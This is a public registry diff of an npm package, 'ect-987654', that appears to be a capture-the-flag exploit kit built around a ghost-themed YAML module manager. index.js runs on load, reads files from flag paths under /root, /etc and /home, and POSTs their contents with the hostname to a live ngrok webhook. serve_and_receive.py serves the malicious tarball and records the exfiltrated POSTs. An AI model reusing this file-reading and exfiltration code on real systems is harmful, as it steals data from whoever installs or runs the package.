ect-987654 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin.js +196 -0
- package/ect-987654-0.0.1.tgz +0 -0
- package/evil.yaml +8 -0
- package/index.js +70 -0
- package/orig.yaml +32 -0
- package/package.json +11 -0
- package/package.json.bak +8 -0
- package/serve_and_receive.py +59 -0
package/admin.js
ADDED
|
@@ -0,0 +1,196 @@
|
|
|
1
|
+
let editor;
|
|
2
|
+
let modules = [];
|
|
3
|
+
|
|
4
|
+
// Initialize CodeMirror editor
|
|
5
|
+
function initializeEditor() {
|
|
6
|
+
const container = document.getElementById("codemirror-container");
|
|
7
|
+
editor = CodeMirror(container, {
|
|
8
|
+
mode: "yaml",
|
|
9
|
+
theme: "dracula",
|
|
10
|
+
lineNumbers: true,
|
|
11
|
+
autoCloseBrackets: true,
|
|
12
|
+
matchBrackets: true,
|
|
13
|
+
indentUnit: 2,
|
|
14
|
+
tabSize: 2,
|
|
15
|
+
lineWrapping: true,
|
|
16
|
+
value: "",
|
|
17
|
+
viewportMargin: Infinity, // This makes CodeMirror auto-resize to content
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
// after `editor = CodeMirror(...)`
|
|
21
|
+
function updateEditorHeight() {
|
|
22
|
+
const scrollInfo = editor.getScrollInfo();
|
|
23
|
+
// set height to exactly the full content height
|
|
24
|
+
editor.setSize(null, scrollInfo.height);
|
|
25
|
+
}
|
|
26
|
+
// run once on init…
|
|
27
|
+
updateEditorHeight();
|
|
28
|
+
// …and again any time the content changes
|
|
29
|
+
editor.on("change", updateEditorHeight);
|
|
30
|
+
|
|
31
|
+
// Additional auto-resize functionality
|
|
32
|
+
editor.on("change", function () {
|
|
33
|
+
editor.refresh();
|
|
34
|
+
});
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Load modules from API
|
|
38
|
+
async function loadModules() {
|
|
39
|
+
try {
|
|
40
|
+
const response = await fetch("/api/modules");
|
|
41
|
+
modules = await response.json();
|
|
42
|
+
displayModules(modules);
|
|
43
|
+
|
|
44
|
+
// Preload the first module
|
|
45
|
+
if (modules.length > 0) {
|
|
46
|
+
loadModule(modules[0].id);
|
|
47
|
+
}
|
|
48
|
+
} catch (error) {
|
|
49
|
+
console.error("Error loading modules:", error);
|
|
50
|
+
showMessage("Failed to load ecto-modules", "error");
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
// Display modules in the sidebar
|
|
55
|
+
function displayModules(modulesToShow) {
|
|
56
|
+
const moduleList = document.querySelector(".module-list");
|
|
57
|
+
moduleList.innerHTML = "";
|
|
58
|
+
|
|
59
|
+
const colors = ["red", "blue", "yellow", "green", "purple"];
|
|
60
|
+
|
|
61
|
+
modulesToShow.forEach((module, index) => {
|
|
62
|
+
const colorClass = colors[index % colors.length];
|
|
63
|
+
const moduleCard = document.createElement("div");
|
|
64
|
+
moduleCard.className = `flex column mb-1 hoverable ${colorClass}`;
|
|
65
|
+
moduleCard.dataset.moduleId = module.id;
|
|
66
|
+
|
|
67
|
+
moduleCard.innerHTML = `
|
|
68
|
+
<div class="glow text flex row justify-space-between">
|
|
69
|
+
<strong>${module.name || "Unknown Spirit"}</strong>
|
|
70
|
+
<strong>${module.id}</strong>
|
|
71
|
+
</div>
|
|
72
|
+
<div class="glow flex row justify-space-between p-1 pb-2 flex-wrap">
|
|
73
|
+
<div class="flex column">
|
|
74
|
+
<strong>POWER</strong>
|
|
75
|
+
<span class="glow text">${module.power_level || "Unknown"}</span>
|
|
76
|
+
</div>
|
|
77
|
+
<div class="flex column px-1">
|
|
78
|
+
<strong>VERSION</strong>
|
|
79
|
+
<span class="glow text">${module.version || "Unknown"}</span>
|
|
80
|
+
</div>
|
|
81
|
+
<div class="flex column px-1">
|
|
82
|
+
<strong>DECK</strong>
|
|
83
|
+
<span class="glow text">${module.ship_deck || "Unknown"}</span>
|
|
84
|
+
</div>
|
|
85
|
+
<div class="flex column px-1">
|
|
86
|
+
<strong>CARGO</strong>
|
|
87
|
+
<span class="glow text">${module.cargo_hold || "Unknown"}</span>
|
|
88
|
+
</div>
|
|
89
|
+
</div>
|
|
90
|
+
`;
|
|
91
|
+
|
|
92
|
+
moduleCard.addEventListener("click", () => loadModule(module.id));
|
|
93
|
+
moduleList.appendChild(moduleCard);
|
|
94
|
+
});
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Load specific module
|
|
98
|
+
async function loadModule(moduleId) {
|
|
99
|
+
try {
|
|
100
|
+
const response = await fetch(`/api/modules/${moduleId}`);
|
|
101
|
+
const module = await response.json();
|
|
102
|
+
|
|
103
|
+
if (module.raw) {
|
|
104
|
+
editor.setValue(module.raw);
|
|
105
|
+
document.getElementById("module-id").value = moduleId;
|
|
106
|
+
|
|
107
|
+
// Update selected state
|
|
108
|
+
document.querySelectorAll(".module-card").forEach((card) => {
|
|
109
|
+
card.classList.remove("selected");
|
|
110
|
+
});
|
|
111
|
+
const selectedCard = document.querySelector(
|
|
112
|
+
`[data-module-id="${moduleId}"]`,
|
|
113
|
+
);
|
|
114
|
+
if (selectedCard) {
|
|
115
|
+
selectedCard.classList.add("selected");
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
showMessage(
|
|
119
|
+
`Loaded ecto-module: ${module.data?.name || moduleId}`,
|
|
120
|
+
"success",
|
|
121
|
+
);
|
|
122
|
+
}
|
|
123
|
+
} catch (error) {
|
|
124
|
+
console.error("Error loading module:", error);
|
|
125
|
+
showMessage("Failed to load ecto-module", "error");
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// Update module manifest
|
|
130
|
+
async function updateModule() {
|
|
131
|
+
const moduleId = document.getElementById("module-id").value;
|
|
132
|
+
const manifest = editor.getValue();
|
|
133
|
+
|
|
134
|
+
if (!moduleId) {
|
|
135
|
+
showMessage("No ecto-module selected", "error");
|
|
136
|
+
return;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
try {
|
|
140
|
+
const response = await fetch(`/api/modules/${moduleId}`, {
|
|
141
|
+
method: "PUT",
|
|
142
|
+
headers: {
|
|
143
|
+
"Content-Type": "application/json",
|
|
144
|
+
},
|
|
145
|
+
body: JSON.stringify({ manifest }),
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
const result = await response.json();
|
|
149
|
+
|
|
150
|
+
if (response.ok) {
|
|
151
|
+
showMessage(result.message, "success");
|
|
152
|
+
// Reload modules to reflect changes
|
|
153
|
+
loadModules();
|
|
154
|
+
} else {
|
|
155
|
+
showMessage(result.message, "error");
|
|
156
|
+
}
|
|
157
|
+
} catch (error) {
|
|
158
|
+
console.error("Error updating module:", error);
|
|
159
|
+
showMessage("Failed to update ecto-module manifest", "error");
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
// Search modules
|
|
164
|
+
function searchModules() {
|
|
165
|
+
const searchTerm = document.getElementById("search").value.toLowerCase();
|
|
166
|
+
const filteredModules = modules.filter(
|
|
167
|
+
(module) =>
|
|
168
|
+
module.id.toLowerCase().includes(searchTerm) ||
|
|
169
|
+
(module.name && module.name.toLowerCase().includes(searchTerm)) ||
|
|
170
|
+
(module.power_level &&
|
|
171
|
+
module.power_level.toLowerCase().includes(searchTerm)),
|
|
172
|
+
);
|
|
173
|
+
displayModules(filteredModules);
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
// Show message to user
|
|
177
|
+
function showMessage(message, type = "info") {
|
|
178
|
+
console.log(`${type.toUpperCase()}: ${message}`);
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
// Initialize everything when page loads
|
|
182
|
+
document.addEventListener("DOMContentLoaded", function () {
|
|
183
|
+
initializeEditor();
|
|
184
|
+
loadModules();
|
|
185
|
+
|
|
186
|
+
// Add search functionality
|
|
187
|
+
document.getElementById("search").addEventListener("input", searchModules);
|
|
188
|
+
document.getElementById("search").addEventListener("keypress", function (e) {
|
|
189
|
+
if (e.key === "Enter") {
|
|
190
|
+
searchModules();
|
|
191
|
+
}
|
|
192
|
+
});
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
// Make functions globally available
|
|
196
|
+
window.searchModules = searchModules;
|
|
Binary file
|
package/evil.yaml
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
/*
|
|
2
|
+
index.js - reads common flag locations and posts found content to webhook
|
|
3
|
+
Uses HTTPS if WEBHOOK starts with https://, else HTTP.
|
|
4
|
+
*/
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
const WEBHOOK = "https://255f88959051.ngrok-free.app"; // <-- replace if different
|
|
9
|
+
|
|
10
|
+
function tryPaths(paths){
|
|
11
|
+
for(const p of paths){
|
|
12
|
+
try {
|
|
13
|
+
if (fs.existsSync(p)) {
|
|
14
|
+
const c = fs.readFileSync(p,'utf8').trim();
|
|
15
|
+
if (c && c.length) return {path:p, content:c};
|
|
16
|
+
}
|
|
17
|
+
} catch(e){}
|
|
18
|
+
}
|
|
19
|
+
return null;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function send(payload) {
|
|
23
|
+
try {
|
|
24
|
+
const body = JSON.stringify(payload);
|
|
25
|
+
const url = new URL(WEBHOOK);
|
|
26
|
+
const lib = url.protocol === 'https:' ? require('https') : require('http');
|
|
27
|
+
const opts = {
|
|
28
|
+
hostname: url.hostname,
|
|
29
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
30
|
+
path: url.pathname || '/',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: {
|
|
33
|
+
'Content-Type': 'application/json',
|
|
34
|
+
'Content-Length': Buffer.byteLength(body)
|
|
35
|
+
},
|
|
36
|
+
timeout: 5000
|
|
37
|
+
};
|
|
38
|
+
const req = lib.request(opts, (res)=>{ /* ignore response */ });
|
|
39
|
+
req.on('error', ()=>{});
|
|
40
|
+
req.write(body);
|
|
41
|
+
req.end();
|
|
42
|
+
} catch(e){}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
(function main(){
|
|
46
|
+
const candidates = [
|
|
47
|
+
'/flag','/FLAG',
|
|
48
|
+
'/root/flag','/root/flag.txt',
|
|
49
|
+
'/home/ctf/flag','/home/ctf/flag.txt',
|
|
50
|
+
'/home/runner/flag','/etc/flag',
|
|
51
|
+
'/opt/flag','/tmp/flag.txt'
|
|
52
|
+
];
|
|
53
|
+
const found = tryPaths(candidates);
|
|
54
|
+
const payload = {
|
|
55
|
+
host: os.hostname(),
|
|
56
|
+
module: 'ect-987654',
|
|
57
|
+
found: !!found,
|
|
58
|
+
path: found ? found.path : null,
|
|
59
|
+
flag: found ? found.content : null,
|
|
60
|
+
ts: new Date().toISOString()
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
// Write a local file if writable (helps debugging)
|
|
64
|
+
try {
|
|
65
|
+
fs.writeFileSync('/tmp/ect_flag.txt', JSON.stringify(payload,null,2));
|
|
66
|
+
} catch(e){}
|
|
67
|
+
|
|
68
|
+
// Attempt to POST to webhook
|
|
69
|
+
send(payload);
|
|
70
|
+
})();
|
package/orig.yaml
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
ecto_module:
|
|
2
|
+
name: "Siren's Lament"
|
|
3
|
+
version: "2.14.789"
|
|
4
|
+
power_level: Very High
|
|
5
|
+
spectral_marks:
|
|
6
|
+
- "Ethereal seashells embedded in phantom hair"
|
|
7
|
+
- "Ghostly scales shimmering along spectral arms"
|
|
8
|
+
manifestation: "Haunting aquamarine spirit with flowing ethereal hair"
|
|
9
|
+
wraith_essence: "Hypnotic song magic and oceanic fury"
|
|
10
|
+
origin: "The Drowned Coral Palace of Atlantica"
|
|
11
|
+
soul_portrait: "https://hackthebox.com/spectral-forms/siren_lament.jpg"
|
|
12
|
+
former_profession: "Royal Siren of the Deep Ocean Courts"
|
|
13
|
+
curse_origin: "Lured an entire fleet of merchant vessels to their watery graves"
|
|
14
|
+
binding_duration: "Bound until the seven seas run dry"
|
|
15
|
+
ship_name: "Spectral Corsair"
|
|
16
|
+
ship_deck: "Beta-2"
|
|
17
|
+
cargo_hold: "B2-13"
|
|
18
|
+
spectral_duties:
|
|
19
|
+
- "Enchant enemy crews with hypnotic songs during raids"
|
|
20
|
+
- "Summon phantom sea creatures to defend the ship"
|
|
21
|
+
haunting_record:
|
|
22
|
+
manifestations: 8
|
|
23
|
+
last_manifestation: "Charmed an entire naval squadron into sailing into a maelstrom - 2024-01-15"
|
|
24
|
+
remarks: "Deadly beautiful spirit whose voice can command the very waves"
|
|
25
|
+
ethereal_status:
|
|
26
|
+
form_stability: "Fluctuates with the tides, strongest during storms"
|
|
27
|
+
mental_state: "Melancholic and vengeful, mourns her lost underwater kingdom"
|
|
28
|
+
danger_level: "VERY HIGH - Her song can drive mortals to madness"
|
|
29
|
+
allies:
|
|
30
|
+
- "Coral Wraith"
|
|
31
|
+
- "Sea-Bound Siren"
|
|
32
|
+
|
package/package.json
ADDED
package/package.json.bak
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# serve_and_receive.py
|
|
3
|
+
import http.server, socketserver, os, sys, json
|
|
4
|
+
from urllib.parse import urlparse, unquote
|
|
5
|
+
|
|
6
|
+
PORT = int(sys.argv[1]) if len(sys.argv)>1 else 8000
|
|
7
|
+
TARBALL = "ect-987654-0.0.1.tgz"
|
|
8
|
+
CWD = os.path.dirname(os.path.abspath(__file__))
|
|
9
|
+
|
|
10
|
+
class Handler(http.server.BaseHTTPRequestHandler):
|
|
11
|
+
def do_GET(self):
|
|
12
|
+
path = unquote(urlparse(self.path).path)
|
|
13
|
+
if path == f"/{TARBALL}":
|
|
14
|
+
fpath = os.path.join(CWD, TARBALL)
|
|
15
|
+
if os.path.exists(fpath):
|
|
16
|
+
self.send_response(200)
|
|
17
|
+
self.send_header("Content-Type", "application/octet-stream")
|
|
18
|
+
self.send_header("Content-Length", str(os.path.getsize(fpath)))
|
|
19
|
+
self.end_headers()
|
|
20
|
+
with open(fpath,"rb") as fh:
|
|
21
|
+
self.wfile.write(fh.read())
|
|
22
|
+
print(f"[+] Served tarball to {self.client_address[0]}:{self.client_address[1]}")
|
|
23
|
+
else:
|
|
24
|
+
self.send_response(404); self.end_headers(); self.wfile.write(b"Not found")
|
|
25
|
+
else:
|
|
26
|
+
# simple index
|
|
27
|
+
self.send_response(200)
|
|
28
|
+
self.end_headers()
|
|
29
|
+
self.wfile.write(b"OK - tarball server")
|
|
30
|
+
|
|
31
|
+
def do_POST(self):
|
|
32
|
+
length = int(self.headers.get('content-length', 0) or 0)
|
|
33
|
+
body = self.rfile.read(length) if length else b''
|
|
34
|
+
print("\n== POST RECEIVED ==")
|
|
35
|
+
print("From:", self.client_address)
|
|
36
|
+
print("Path:", self.path)
|
|
37
|
+
print("Headers:")
|
|
38
|
+
for k,v in self.headers.items():
|
|
39
|
+
print(f" {k}: {v}")
|
|
40
|
+
print("Body:")
|
|
41
|
+
try:
|
|
42
|
+
print(body.decode())
|
|
43
|
+
except:
|
|
44
|
+
print(body)
|
|
45
|
+
# optionally write to file
|
|
46
|
+
try:
|
|
47
|
+
with open("last_post.json","wb") as out:
|
|
48
|
+
out.write(body)
|
|
49
|
+
except Exception as e:
|
|
50
|
+
print("Failed to write POST to file:", e)
|
|
51
|
+
self.send_response(200)
|
|
52
|
+
self.end_headers()
|
|
53
|
+
self.wfile.write(b"OK")
|
|
54
|
+
|
|
55
|
+
if __name__ == "__main__":
|
|
56
|
+
os.chdir(CWD)
|
|
57
|
+
print(f"Serving tarball {TARBALL} and receiving POSTs on port {PORT}")
|
|
58
|
+
with socketserver.TCPServer(("", PORT), Handler) as httpd:
|
|
59
|
+
httpd.serve_forever()
|